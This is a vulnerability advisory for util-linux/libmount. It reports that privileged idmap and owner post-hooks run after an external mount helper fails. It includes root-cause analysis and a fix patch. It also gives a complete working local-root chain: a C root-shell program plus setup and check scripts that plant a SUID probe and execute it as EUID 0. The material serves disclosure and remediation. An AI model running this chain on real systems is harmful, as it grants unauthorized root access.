Skip to content

GHSA-m25x-3hj9-m26f on Cyberus Linux 26.05

Aliases: GHSA-m25x-3hj9-m26f, CVE-2026-76642

Packages: util-linux

Status: Resolved

Advisory Information

https://github.com/user-attachments/assets/26f9dd57-108d-4b41-9a1e-e945551d0f2e

Summary

I am reporting a possible previously unknown util-linux/libmount vulnerability. This draft does not assert that a new CVE has been assigned or that private duplicates do not exist.

When an external mount.<type> helper executes but exits nonzero, libmount records the helper's failure yet internally returns success from exec_helper(). It consequently runs privileged post-mount hooks as if the helper had mounted the requested filesystem.

I confirmed the issue independently on Debian Trixie 2.41-5, Debian sid 2.42.2-2, and upstream master. The two effects use a root-owned helper that is simply a symlink to /usr/bin/false:

  1. X-mount.idmap cloned and idmapped the filesystem already underneath the target after the helper exited 1. The clone inherited suid,exec from the root filesystem even though the root-controlled fstab entry specified nosuid,nodev,noexec. UID 1000 created a raw UID 0 mode-4755 ELF and executed it through a pre-existing raw directory descriptor, producing EUID 0.
  2. In a separate test without idmap, X-mount.owner/group/mode changed the physical target inode from 0755 root:root to 0700 1000:1000 after the same helper failure, while no mount was created.

Both operations are deterministic. Source and target remain fixed; there is no symlink substitution, race, malicious helper, or successful helper mount. mount(8) returns status 1 in both cases, so the caller sees failure after the privileged effects have occurred.

The EUID-0 probe only prints real/effective UID/GID and exits. It was deleted before unmounting, and no shell or persistence mechanism was created.

Tested build and environment

  • Debian Trixie stock mount/libmount1 2.41-5;
  • official Debian sid mount/libmount1 2.42.2-2;
  • upstream master 0f1198780cb90e388e037339662b15972f62c30b;
  • Linux 6.12.94+deb13-amd64;
  • /usr/bin/mount SUID root, real UID/GID 1000;
  • two disposable QEMU snapshots;
  • ext4 target under /srv/helperpost-victim;
  • benign helper /sbin/mount.helperpost -> /usr/bin/false, root-owned.
92253cf919646b4a0242998526d35eea39204dff0363e74086290d63ccb39fed  mount, Trixie 2.41-5
3657d314b5f4915f2bdd8086e71d31dc8267bca04df236c4755c8d3b7c5fa24f  libmount.so.1, Trixie 2.41-5
2216352b317739e4215c75ba24a870d9fbdb51653b2981316e882f3f962cb183  mount, sid 2.42.2-2
30c8e6bd419e31b8bc3f762ee4b205c83970fe3d705088cd5bb92558b3b09db8  libmount.so.1, sid 2.42.2-2
e5548ded319cbb0ed0d4faa9f3cfe6543007dd9aa9ca0c2d7e257c844b3ea709  /usr/bin/mount
574c2e351793d2c721babfd78579d6126a464fa6ea4b9e27b0b5cc7e98936d3d  /usr/lib/x86_64-linux-gnu/libmount.so.1

No installed real helper was suitable for a controlled failure. /usr/bin/false was used specifically to simulate a benign helper failure; it has no mounting, mutation, logging, or attacker-controlled behavior.

Test A: failed helper followed by idmapped root-filesystem clone

The root-controlled entry was:

/home/research/helperpost/source /srv/helperpost-victim/target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=b:0:1000:1 0 0

The source is a fixed regular file. The target is a fixed, physical ext4 directory owned by root, with a 0600 root:root marker. UID 1000 opens a directory FD before invoking mount, then confirms it cannot access the raw marker.

The helper and CLI both return 1. Nevertheless, an exact idmapped mount appears at the target:

helper_direct_rc=1
raw_dir_fd=9 devino=65024:14656 target=/srv/helperpost-victim/target
mount_rc=1 helper_status_via_mount_excode=1
/dev/vda[/srv/helperpost-victim/target] /srv/helperpost-victim/target ext4 rw,relatime,idmapped
inherited_suid=yes inherited_exec=yes vfs_options=rw,relatime,idmapped

The same inode is mapped to UID 1000 and becomes readable through the clone, while the preserved raw view remains UID 0 and denied:

mapped_secret=600 1000:1000 65024:14667
raw_secret=600 0:0 65024:14667
mapped_content=HELPERPOST_ROOT_ONLY_SECRET raw_read_rc=1

Safe EUID-0 demonstration

The attached ELF prints IDs and exits. UID 1000 copies it through the mapped view and applies mode 4755:

mapped_probe=4755 1000:1000 65024:14668
raw_probe=4755 0:0 65024:14668

Executing it through the mapped view is the control; executing the same inode through the raw FD demonstrates the privilege boundary:

mapped_exec=probe ruid=1000 euid=1000 rgid=1000 egid=1000 rc=0
raw_fd_exec=probe ruid=1000 euid=0 rgid=1000 egid=1000 rc=0
probe_removed=1

The probe is removed while the mapped view is still present, and the check verifies its absence from both views before returning.

The complete idmap and owner checks returned zero independently on all three builds. Trixie used target/secret/probe devinos 65024:14602/65024:14603/65024:14604; sid used 65024:8342/65024:8429/65024:8446. For each build, mapped and raw probe devinos were identical, mapped execution remained EUID 1000, and raw-FD execution produced EUID 0.

Test B: failed helper followed by physical owner/mode mutation

A separate setup used:

/home/research/helperpost/source /srv/helperpost-victim/mode-target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=1000,X-mount.group=1000,X-mount.mode=0700 0 0

No mount was created. The same physical inode changed after the helper and CLI returned 1:

helper_direct_rc=1
mount_rc=1 helper_status_via_mount_excode=1
before mode=755 owner=0:0 devino=65024:14655
after  mode=700 owner=1000:1000 devino=65024:14655
proof mode=600 owner=1000:1000 devino=65024:14667

Root cause

context_mount.c::exec_helper() stores the child exit code separately but returns zero whenever fork/exec/wait succeeded, except for the special MNT_EX_EXEC value:

cxt->helper_status = WIFEXITED(st) ? WEXITSTATUS(st) : -1;
cxt->helper_exec_status = rc = 0;

That zero reaches mnt_context_do_mount(), which runs all MNT_STAGE_MOUNT_POST hooks:

if (res == 0)
        rc = mnt_context_call_hooks(cxt, MNT_STAGE_MOUNT_POST);

The idmap post-hook does not inspect the helper status. Because an external helper does not provide a new-API tree FD, it clones the current target path, applies the user namespace mapping, and attaches that clone. It therefore acts on the pre-existing underlying filesystem rather than a helper-created mount.

The normal VFS-flag hook is conditioned on cxt->helper == NULL. Thus the failed-helper path does not apply the nosuid,nodev,noexec flags from fstab; the idmapped clone inherits the root mount's suid,exec state.

After the post-mount stage returns zero, mnt_context_mount() also runs MNT_STAGE_POST. The owner hook uses the pinned target FD for privileged fchownat() and chmod() without checking helper status.

The CLI eventually reports exit 1 because mnt_context_get_mount_excode() returns helper_status whenever a helper was executed. The visible failure does not roll back or prevent the post-hook effects.

Security impact and prerequisites

The demonstrated LPE requires:

  • SUID-root mount(8) and a root-controlled fstab entry usable by the local account;
  • an external filesystem helper that exits nonzero;
  • X-mount.idmap=b:0:<uid>:1 in that entry;
  • a traversable target on an idmap-capable filesystem;
  • a suid,exec underlying mount for this exact SUID chain.

The helper remains root-controlled and need not be vulnerable or malicious. A normal validation, network, device, authentication, or transient error that causes a nonzero exit is sufficient.

The idmap primitive provides raw-root read/write. In the tested configuration, skipping nosuid,noexec made it a deterministic EUID-0 primitive. Suggested classification is CWE-390, with secondary CWE-269. Provisional CVSS 3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8). Provisional CVSS 4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N (8.5). The uncommon fstab prerequisites should remain prominent even though they are not represented by the base vectors.

The independent owner/mode path can transfer control of an underlying root-owned directory even when no mount exists.

Remediation guidance

Post-hooks that commit privileged mount effects must not run when an executed helper has nonzero status. A narrow and low-regression fix would explicitly gate the idmap and owner/group/mode hooks on helper success.

Please audit all post-mount and post hooks and distinguish commit hooks from failure cleanup hooks. Globally skipping MNT_STAGE_MOUNT_POST may accidentally skip loop-device, verity, or other cleanup, so the failure path should preserve required cleanup while preventing new mounts and metadata mutation.

Regression tests should cover helper exit 0, ordinary nonzero exit, exec failure, and signal termination. After failure they should assert:

  • no new mount or idmapped clone;
  • no target owner/mode mutation;
  • no mount-table update;
  • required temporary-resource cleanup still occurs;
  • the CLI preserves the helper's documented exit status.

Prototype fix validation

The attached prototype adds the helper-status guard specifically to the idmap and owner hooks, rather than suppressing the entire post-mount stage:

if (mnt_context_helper_executed(cxt)
    && mnt_context_get_helper_status(cxt) != 0)
        return 0;

On the tested master commit:

  • failed-helper idmap returned CLI status 1, left no overmount, preserved the physical target as 0755 root:root, and created no probe;
  • failed-helper owner/mode returned status 1 and left the inode unchanged;
  • an exit-0 helper positive control still produced the expected idmapped mount and UID-1000 mapped marker;
  • an exit-0 owner/mode control still changed the target to 0700 1000:1000;
  • forward and reverse patch dry-runs succeeded.
0514420cb48ced6486268c8a71b74a36fd802351d7371a171fd463d0e17d5cf8  patches/helper-failure-posthooks-fix.patch
7d7bd21ba69ae30797ef571ee2c43e2521530fe41e0a43b2d495f61d0783458f  patched mount
5c18c3b96fbf8c4699d057185ab3da61ad4d03444b84c71260cb5a71a8ebfc22  patched libmount.so.1
8d6e488dce9111e13f9ffd13c1a945954c918e45e10527006f1a55e66bc5408f  patched libblkid.so.1

The complete prototype patch (included inline because the advisory body cannot carry file attachments):

diff --git a/libmount/src/hook_idmap.c b/libmount/src/hook_idmap.c
index 8be6cdc1..fe905afb 100644
--- a/libmount/src/hook_idmap.c
+++ b/libmount/src/hook_idmap.c
@@ -310,6 +310,15 @@ static int hook_mount_post(
  assert(target);
  assert(hd->userns_fd >= 0);
 
+ /* exec_helper() reports successful process execution separately from
+  * the helper's exit status. Do not transform the pre-existing target
+  * mount when the external helper did not mount anything successfully. */
+ if (mnt_context_helper_executed(cxt)
+     && mnt_context_get_helper_status(cxt) != 0) {
+     DBG_OBJ(HOOK, hs, ul_debug(" skip idmap after failed helper"));
+     return 0;
+ }
+
  DBG_OBJ(HOOK, hs, ul_debug(" attaching namespace to %s", target));
 
  /*
diff --git a/libmount/src/hook_owner.c b/libmount/src/hook_owner.c
index e8e92c2f..1647191b 100644
--- a/libmount/src/hook_owner.c
+++ b/libmount/src/hook_owner.c
@@ -56,6 +56,13 @@ static int hook_post(
  if (!hd || !cxt->fs)
      return 0;
 
+ /* A helper may have been executed successfully but still returned a
+  * failure status. In that case there is no successful mount whose target
+  * ownership or mode should be changed. */
+ if (mnt_context_helper_executed(cxt)
+     && mnt_context_get_helper_status(cxt) != 0)
+     return 0;
+
  target = mnt_fs_get_target(cxt->fs);
  if (!target)
      return 0;

Reproducer bundle

256bc080cd25281e5f59e07ae60187e5d55c5ccdfa405d6754a98b68e3eb642e  reproducer/setup.sh
ee55e9725cf35c136f2b227f49bf768d7ba838e5d66b270ac8873158d5f23fe2  reproducer/check.sh
6339548de3f2186bed4230206ef5db37ec9d5eb0e614894b8f66d6d6d1387b43  reproducer/helperpost-uid-probe.c
8ab483dacc5a6f1b2f3795b8a54204a165fde2751bf4feb9731c0d7d2ed9348a  tested helperpost-uid-probe binary
0514420cb48ced6486268c8a71b74a36fd802351d7371a171fd463d0e17d5cf8  patches/helper-failure-posthooks-fix.patch

Inside the disposable guest, compile the benign probe in a private root-owned directory, then run (argument = unprivileged test account; the scripts derive all UIDs, GIDs, and paths from it):

install -d -m 0700 /root/helperpost-probe-build
cc -O2 -Wall -Wextra -Werror \
  -o /root/helperpost-probe-build/helperpost-uid-probe \
  reproducer/helperpost-uid-probe.c

./reproducer/setup.sh idmap <testuser>
runuser -u <testuser> -- ./reproducer/check.sh idmap

./reproducer/setup.sh owner <testuser>
runuser -u <testuser> -- ./reproducer/check.sh owner

./reproducer/setup.sh cleanup <testuser>
rm -f /root/helperpost-probe-build/helperpost-uid-probe
rmdir /root/helperpost-probe-build

The scripts use a fixed PATH, refuse an unexpected helper, require root-owned sentinels before removing a pre-existing fixture tree, and validate matching fstab entries. Negative safety controls confirmed that an unsentinelled tree and an unrelated fstab entry are rejected and preserved. The hardened bundle then reproduced both effects and cleaned completely in a fresh snapshot.

Simplified root-shell demonstration

A companion package contains a minimal end-to-end demonstration of the same primitive intended for a disposable VM and a demonstration recording. The probe variant is allowed to start an interactive shell so the recording shows the unprivileged caller reaching uid=0 directly, without sudo, su, or runuser in the trigger command. Because the advisory body cannot carry file attachments, the complete sources are included inline below.

Usage in the disposable guest:

# as root, once (argument = unprivileged test account; defaults to $SUDO_USER):
install -d -m 0700 /root/helperpost-probe-build
cc -O2 -Wall -Wextra -Werror \
  -o /root/helperpost-probe-build/helperpost-root-shell-demo \
  helperpost-root-shell-demo.c
PROBE_BIN=/root/helperpost-probe-build/helperpost-root-shell-demo \
  ./setup-sosa.sh idmap <testuser>

# as that unprivileged user (interactive login, no sudo/su/runuser):
env HELPERPOST_DEMO_ROOT_SHELL=I_UNDERSTAND_THIS_IS_A_DISPOSABLE_VM \
  ./check-sosa.sh idmap
# ... terminal shows a root prompt; id reports uid=0(root) ...
exit

# as root, afterwards:
./setup-sosa.sh cleanup <testuser>

helperpost-root-shell-demo.c

#define _GNU_SOURCE

#include <fcntl.h>
#include <grp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ARM_VALUE "I_UNDERSTAND_THIS_IS_A_DISPOSABLE_VM"

static int set_root_identity(int ttyfd)
{
  if (setgroups(0, NULL) != 0) {
      dprintf(ttyfd, "setgroups: failed\n");
      return -1;
  }
  if (setresgid(0, 0, 0) != 0) {
      dprintf(ttyfd, "setresgid: failed\n");
      return -1;
  }
  if (setresuid(0, 0, 0) != 0) {
      dprintf(ttyfd, "setresuid: failed\n");
      return -1;
  }
  return 0;
}

int main(void)
{
  uid_t ruid = getuid();
  uid_t euid = geteuid();
  gid_t rgid = getgid();
  gid_t egid = getegid();
  const char *armed = getenv("HELPERPOST_DEMO_ROOT_SHELL");
  const char *term_env = getenv("TERM");
  char term[128] = "xterm";
  int ttyfd;

  /* Preserve the exact output expected by the normal verifier. */
  printf("probe ruid=%ld euid=%ld rgid=%ld egid=%ld\n",
         (long) ruid, (long) euid, (long) rgid, (long) egid);
  fflush(stdout);

  /* The mapped-view control must remain an ordinary unprivileged execution. */
  if (euid != 0)
      return 0;

  if (!armed || strcmp(armed, ARM_VALUE) != 0) {
      fprintf(stderr,
          "root-shell demo is disarmed; set HELPERPOST_DEMO_ROOT_SHELL=%s\n",
          ARM_VALUE);
      return 2;
  }

  if (term_env && *term_env)
      snprintf(term, sizeof(term), "%s", term_env);

  /* The verifier captures stdout, so reconnect the demo shell to the TTY. */
  ttyfd = open("/dev/tty", O_RDWR | O_CLOEXEC);
  if (ttyfd < 0) {
      perror("open /dev/tty");
      return 3;
  }

  if (set_root_identity(ttyfd) != 0) {
      close(ttyfd);
      return 4;
  }

  if (clearenv() != 0) {
      dprintf(ttyfd, "clearenv: failed\n");
      close(ttyfd);
      return 5;
  }
  if (setenv("PATH", "/usr/sbin:/usr/bin:/sbin:/bin", 1) != 0
      || setenv("HOME", "/root", 1) != 0
      || setenv("USER", "root", 1) != 0
      || setenv("LOGNAME", "root", 1) != 0
      || setenv("SHELL", "/bin/bash", 1) != 0
      || setenv("TERM", term, 1) != 0
      || setenv("LANG", "C", 1) != 0
      || setenv("HISTFILE", "/dev/null", 1) != 0
      || setenv("PS1", "root-demo# ", 1) != 0) {
      dprintf(ttyfd, "setenv: failed\n");
      close(ttyfd);
      return 6;
  }

  if (chdir("/root") != 0)
      (void) chdir("/");

  dprintf(ttyfd,
      "\n=== DEMO-ONLY ROOT SHELL (disposable VM) ===\n"
      "uid=%ld(root) euid=%ld(root) gid=%ld(root) egid=%ld(root)\n"
      "Run 'id' and 'whoami' for the recording, then type 'exit'.\n\n",
      (long) getuid(), (long) geteuid(),
      (long) getgid(), (long) getegid());

  if (dup2(ttyfd, STDIN_FILENO) < 0
      || dup2(ttyfd, STDOUT_FILENO) < 0
      || dup2(ttyfd, STDERR_FILENO) < 0) {
      dprintf(ttyfd, "dup2: failed\n");
      close(ttyfd);
      return 7;
  }
  if (ttyfd > STDERR_FILENO)
      close(ttyfd);

  execl("/bin/bash", "bash", "--noprofile", "--norc", "-p", "-i",
        (char *) NULL);
  perror("execl /bin/bash");
  return 8;
}

setup-sosa.sh

#!/bin/sh
set -eu

PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH

mode=${1:-idmap}
# target account: $2, or the sudo invoker, or sosa as a last default
lab_user=${2:-${SUDO_USER:-sosa}}
probe_input=${PROBE_BIN:-/root/helperpost-probe-build/helperpost-root-shell-demo}
lab_uid=$(id -u "$lab_user" 2>/dev/null || true)
lab_gid=$(id -g "$lab_user" 2>/dev/null || true)
lab_home=$(getent passwd "$lab_user" 2>/dev/null | cut -d: -f6 || true)
base=$lab_home/helperpost
victim=/srv/helperpost-victim
sentinel_text=UTIL_LINUX_HELPERPOST_SOSA_DEMO_V1
base_marker=$base/.helperpost-lab-sentinel
victim_marker=$victim/.helperpost-lab-sentinel
source_path=$base/source
probe_template=$base/uid-probe
idmap_target=$victim/target
owner_target=$victim/mode-target
helper=/sbin/mount.helperpost
idmap_spec="u:0:$lab_uid:1\040g:0:$lab_gid:1"
idmap_line="$source_path $idmap_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=$idmap_spec 0 0"
owner_line="$source_path $owner_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=$lab_uid,X-mount.group=$lab_gid,X-mount.mode=0700 0 0"

if [ "$(id -u)" -ne 0 ]; then
  echo "ERROR: setup must run as root inside the disposable guest" >&2
  exit 2
fi
case "$mode" in
  idmap|owner|cleanup) ;;
  *) echo "usage: $0 {idmap|owner|cleanup} [USER]" >&2; exit 2 ;;
esac
case "$victim:$helper" in
  /srv/helperpost-victim:/sbin/mount.helperpost) ;;
  *) echo "ERROR: unexpected lab paths" >&2; exit 3 ;;
esac
if [ -z "$lab_uid" ] || [ -z "$lab_gid" ] || [ "$lab_uid" -eq 0 ] || [ ! -d "$lab_home" ]; then
  echo "ERROR: fixture expects an unprivileged local account with a home directory" >&2
  exit 4
fi

valid_marker()
{
  marker=$1
  [ -f "$marker" ] \
      && [ ! -L "$marker" ] \
      && [ "$(stat -c '%u:%g:%a' "$marker" 2>/dev/null || true)" = 0:0:600 ] \
      && [ "$(cat "$marker" 2>/dev/null || true)" = "$sentinel_text" ]
}

base_owned=0
if [ -e "$base" ] || [ -L "$base" ]; then
  if [ ! -d "$base" ] || [ -L "$base" ] || ! valid_marker "$base_marker"; then
      echo "ERROR: refusing pre-existing unsentinelled tree $base" >&2
      exit 5
  fi
  base_owned=1
fi
victim_owned=0
if [ -e "$victim" ] || [ -L "$victim" ]; then
  if [ ! -d "$victim" ] || [ -L "$victim" ] || ! valid_marker "$victim_marker"; then
      echo "ERROR: refusing pre-existing unsentinelled tree $victim" >&2
      exit 5
  fi
  victim_owned=1
fi

check_fstab_target()
{
  target_path=$1
  expected_line=$2
  existing=$(awk -v target="$target_path" '$2 == target { print }' /etc/fstab)
  if [ -n "$existing" ] && [ "$existing" != "$expected_line" ]; then
      echo "ERROR: refusing unexpected fstab entry for $target_path" >&2
      exit 5
  fi
  if [ -n "$existing" ] \
      && { [ "$base_owned" -ne 1 ] || [ "$victim_owned" -ne 1 ]; }; then
      echo "ERROR: refusing unsentinelled fstab entry for $target_path" >&2
      exit 5
  fi
}
check_fstab_target "$idmap_target" "$idmap_line"
check_fstab_target "$owner_target" "$owner_line"

# Never overwrite an unrelated filesystem helper.
if [ -e "$helper" ] || [ -L "$helper" ]; then
  if [ ! -L "$helper" ] \
      || [ "$(readlink "$helper")" != /usr/bin/false ] \
      || [ "$base_owned" -ne 1 ]; then
      echo "ERROR: refusing to replace unexpected helper $helper" >&2
      exit 6
  fi
fi

# Tear down only exact sacrificial mountpoints, including stacked leftovers.
if [ "$victim_owned" -eq 1 ]; then
  for path in "$idmap_target" "$owner_target"; do
      i=0
      while mountpoint -q "$path" 2>/dev/null; do
          umount -l "$path"
          i=$((i + 1))
          [ "$i" -lt 20 ] || { echo "ERROR: too many lab mounts" >&2; exit 7; }
      done
  done
fi
sed -i "\|^[^[:space:]]*[[:space:]]$idmap_target[[:space:]]|d" /etc/fstab
sed -i "\|^[^[:space:]]*[[:space:]]$owner_target[[:space:]]|d" /etc/fstab
[ "$base_owned" -eq 0 ] || rm -rf -- "$base"
[ "$victim_owned" -eq 0 ] || rm -rf -- "$victim"
rm -f -- "$helper"

if [ "$mode" = cleanup ]; then
  echo "CLEAN: helper-failure post-hook fixture removed"
  exit 0
fi

install -d -m 0755 -o "$lab_uid" -g "$lab_gid" "$base"
install -d -m 0755 -o root -g root "$victim"
install -m 0600 -o root -g root /dev/null "$base_marker"
install -m 0600 -o root -g root /dev/null "$victim_marker"
printf '%s\n' "$sentinel_text" > "$base_marker"
printf '%s\n' "$sentinel_text" > "$victim_marker"
install -m 0644 -o "$lab_uid" -g "$lab_gid" /dev/null "$source_path"
ln -s /usr/bin/false "$helper"
chown -h root:root "$helper"

case "$mode" in
idmap)
  [ -f "$probe_input" ] && [ -x "$probe_input" ] || {
      echo "ERROR: compile helperpost-root-shell-demo.c as $probe_input first" >&2
      exit 8
  }
  install -m 0755 -o root -g root "$probe_input" "$probe_template"
  install -d -m 0755 -o root -g root "$idmap_target"
  printf '%s\n' HELPERPOST_ROOT_ONLY_SECRET > "$idmap_target/secret"
  chown root:root "$idmap_target/secret"
  chmod 0600 "$idmap_target/secret"
  printf '%s\n' "$idmap_line" >> /etc/fstab
  target=$idmap_target
  line=$idmap_line
  ;;
owner)
  install -d -m 0755 -o root -g root "$owner_target"
  printf '%s\n' HELPERPOST_MODE_ROOT_ONLY > "$owner_target/secret"
  chown root:root "$owner_target/secret"
  chmod 0600 "$owner_target/secret"
  printf '%s\n' "$owner_line" >> /etc/fstab
  target=$owner_target
  line=$owner_line
  ;;
esac

echo "[fixture mode=$mode] benign external helper always exits 1"
printf 'helper=%s -> %s owner=%s\n' "$helper" "$(readlink "$helper")" \
  "$(stat -c '%u:%g' "$helper")"
printf 'fstab=%s\n' "$line"
stat -c 'target mode=%a owner=%u:%g devino=%d:%i path=%n' "$target"
stat -c 'secret mode=%a owner=%u:%g devino=%d:%i path=%n' "$target/secret"
if [ "$mode" = idmap ]; then sha256sum "$probe_template"; fi

check-sosa.sh

#!/bin/sh
set -eu

PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH

mode=${1:-idmap}
mount_bin=${MOUNT_BIN:-/usr/bin/mount}
libmount_path=${LIBMOUNT_PATH:-/usr/lib/x86_64-linux-gnu/libmount.so.1}
# derive everything from the invoking unprivileged account
lab_user=$(id -un)
lab_uid=$(id -u)
lab_gid=$(id -g)
lab_home=$(getent passwd "$lab_user" | cut -d: -f6)
base=$lab_home/helperpost
victim=/srv/helperpost-victim
source_path=$base/source
probe_template=$base/uid-probe
idmap_target=$victim/target
owner_target=$victim/mode-target
helper=/sbin/mount.helperpost
idmap_spec="u:0:$lab_uid:1\040g:0:$lab_gid:1"
idmap_line="$source_path $idmap_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=$idmap_spec 0 0"
owner_line="$source_path $owner_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=$lab_uid,X-mount.group=$lab_gid,X-mount.mode=0700 0 0"

if [ "$lab_uid" -eq 0 ]; then
  echo "ERROR: check must run directly as an unprivileged account" >&2
  exit 2
fi
case "$mode" in
  idmap) target=$idmap_target; line=$idmap_line ;;
  owner) target=$owner_target; line=$owner_line ;;
  *) echo "usage: $0 {idmap|owner}" >&2; exit 2 ;;
esac
for tool in "$mount_bin" "$helper"; do
  [ -x "$tool" ] || { echo "ERROR: executable missing: $tool" >&2; exit 3; }
done
if [ ! -L "$helper" ] || [ "$(readlink "$helper")" != /usr/bin/false ] \
  || [ "$(stat -c '%u:%g' "$helper")" != 0:0 ]; then
  echo "ERROR: helper is not the root-owned benign /usr/bin/false fixture" >&2
  exit 4
fi
if ! grep -Fqx "$line" /etc/fstab || [ ! -d "$target" ]; then
  echo "ERROR: expected fixture is absent" >&2
  exit 5
fi
if mountpoint -q "$target"; then
  echo "ERROR: target starts mounted" >&2
  exit 6
fi

echo "[build]"
"$mount_bin" --version | sed -n '1,2p'
sha256sum "$mount_bin"
if [ -r "$libmount_path" ]; then sha256sum "$libmount_path"; fi

set +e
"$helper" "$source_path" "$target"
helper_direct_rc=$?
set -e
printf 'helper_direct_rc=%s\n' "$helper_direct_rc"
[ "$helper_direct_rc" -eq 1 ] || { echo "ERROR: benign helper did not exit 1" >&2; exit 7; }

# ID-map/LPE branch. Preserve a descriptor to the raw directory before the
# post-helper hook overmounts its pathname.
[ -x "$probe_template" ] || { echo "ERROR: root-shell demo payload missing" >&2; exit 11; }
[ ! -r "$target/secret" ] && [ ! -w "$target/secret" ] || {
  echo "ERROR: raw secret is already accessible" >&2
  exit 12
}
exec 9< "$target"
raw_dir_devino=$(stat -Lc '%d:%i' /proc/self/fd/9)
printf 'raw_dir_fd=9 devino=%s target=%s\n' "$raw_dir_devino" "$(readlink /proc/self/fd/9)"

cleanup_probe()
{
  rm -f -- "$target/probe" 2>/dev/null || true
}
trap cleanup_probe EXIT HUP INT TERM

set +e
"$mount_bin" --target "$target"
mount_rc=$?
set -e
printf 'mount_rc=%s helper_status_via_mount_excode=%s\n' "$mount_rc" "$mount_rc"
[ "$mount_rc" -eq 1 ] || { echo "ERROR: expected helper status 1" >&2; exit 13; }
mountpoint -q "$target" || { echo "NOT REPRODUCED: target was not overmounted" >&2; exit 1; }

vfs_options=$(findmnt -rn -M "$target" -o VFS-OPTIONS)
findmnt -rn -M "$target" -o SOURCE,TARGET,FSTYPE,VFS-OPTIONS
case ",$vfs_options," in *,idmapped,*) ;; *) echo "ERROR: clone is not idmapped" >&2; exit 14 ;; esac
case ",$vfs_options," in *,nosuid,*) inherited_suid=no ;; *) inherited_suid=yes ;; esac
case ",$vfs_options," in *,noexec,*) inherited_exec=no ;; *) inherited_exec=yes ;; esac
printf 'inherited_suid=%s inherited_exec=%s vfs_options=%s\n' \
  "$inherited_suid" "$inherited_exec" "$vfs_options"

mapped_secret=$(stat -c '%a %u:%g %d:%i' "$target/secret")
raw_secret=$(stat -c '%a %u:%g %d:%i' /proc/self/fd/9/secret)
printf 'mapped_secret=%s\nraw_secret=%s\n' "$mapped_secret" "$raw_secret"
mapped_content=$(cat "$target/secret")
set +e
cat /proc/self/fd/9/secret >/dev/null 2>&1
raw_read_rc=$?
set -e
printf 'mapped_content=%s raw_read_rc=%s\n' "$mapped_content" "$raw_read_rc"
[ "$mapped_content" = HELPERPOST_ROOT_ONLY_SECRET ] && [ "$raw_read_rc" -ne 0 ] || {
  echo "ERROR: mapped/raw access separation is missing" >&2
  exit 15
}

cp "$probe_template" "$target/probe"
chmod 4755 "$target/probe"
mapped_probe=$(stat -c '%a %u:%g %d:%i' "$target/probe")
raw_probe=$(stat -c '%a %u:%g %d:%i' /proc/self/fd/9/probe)
printf 'mapped_probe=%s\nraw_probe=%s\n' "$mapped_probe" "$raw_probe"

set +e
mapped_exec=$("$target/probe" 2>&1)
mapped_exec_rc=$?
raw_exec=$(/proc/self/fd/9/probe 2>&1)
raw_exec_rc=$?
set -e
printf 'mapped_exec=%s rc=%s\n' "$mapped_exec" "$mapped_exec_rc"
printf 'raw_fd_exec=%s rc=%s\n' "$raw_exec" "$raw_exec_rc"

cleanup_probe
trap - EXIT HUP INT TERM
if [ -e "$target/probe" ] || [ -e /proc/self/fd/9/probe ]; then
  echo "ERROR: sacrificial SUID probe was not removed" >&2
  exit 16
fi
echo "probe_removed=1"

case "$mapped_exec" in *"ruid=$lab_uid euid=$lab_uid"*) ;; *) echo "ERROR: mapped control unexpected" >&2; exit 17 ;; esac
case "$raw_exec" in *"ruid=$lab_uid euid=0"*) ;; *) echo "NOT REPRODUCED: raw descriptor execution did not gain EUID 0" >&2; exit 1 ;; esac
[ "$inherited_suid:$inherited_exec" = yes:yes ] || {
  echo "INCOMPLETE: raw-root write exists but suid/exec flags were constrained" >&2
  exit 18
}

echo "ROOT CONFIRMED: interactive demo obtained UID/GID 0 and returned"
echo "VULNERABLE: failed helper was followed by an unconstrained idmapped clone and interactive root-shell demo"

Observed on the confirmed vulnerable build: the same terminal that started as uid=1000(sosa) shows a root prompt, and id reports real and effective UID/GID 0. The demonstration touches only the sacrificial probe planted by the setup; cleanup removes the fixture and restores the prior state.

Public duplicate check

No exact public duplicate was identified in a bounded search of util-linux issues, pull requests, commits, release notes, vendor advisories, and CVEs as of 2026-07-18. This does not prove novelty and does not exclude private or embargoed reports.

The closest historical change is the 2023 commit f94a7760, "don't call hooks after mount. helper". It prevented selected new-API hooks from acting after delegation to a helper, but did not test the helper's final nonzero status and did not cover the idmap and owner effects reported here.

GHSA-g8wm-75wr-g2vh / CVE-2026-53612, published on 2026-06-16, also affects hook_owner.c, but through a pathname TOCTOU race. The present issue has a different trigger and root cause: privileged post-hooks run against the legitimate target after a failed external helper, without a race, and the independent idmap hook is affected as well. Nearby issues #3208, #2130, and #2834 do not involve a helper exiting nonzero.

The change introducing the idmap path was 0bbc62dd (authored on 2022-06-01 and committed on 2023-01-03) and was first released in util-linux 2.39 on 2023-05-17. The source-history-derived affected range is >= 2.39 through the tested master 0f119878 as of 2026-07-18. Versions 2.41-5, 2.42.2-2, and that master were dynamically verified; 2.39 itself was not dynamically tested.

Updates

2026-09-21 22:02 CEST

Metadata changes:

  • Status for package util-linux: “Resolved

2026-09-07 17:18 CEST

Metadata changes:

  • Status for package util-linux: “In Progress

2026-09-02 16:24 CEST

Metadata changes:

  • Status for package util-linux: “Plausible

2026-09-02 16:24 CEST

Metadata changes:

  • Status for package util-linux: “New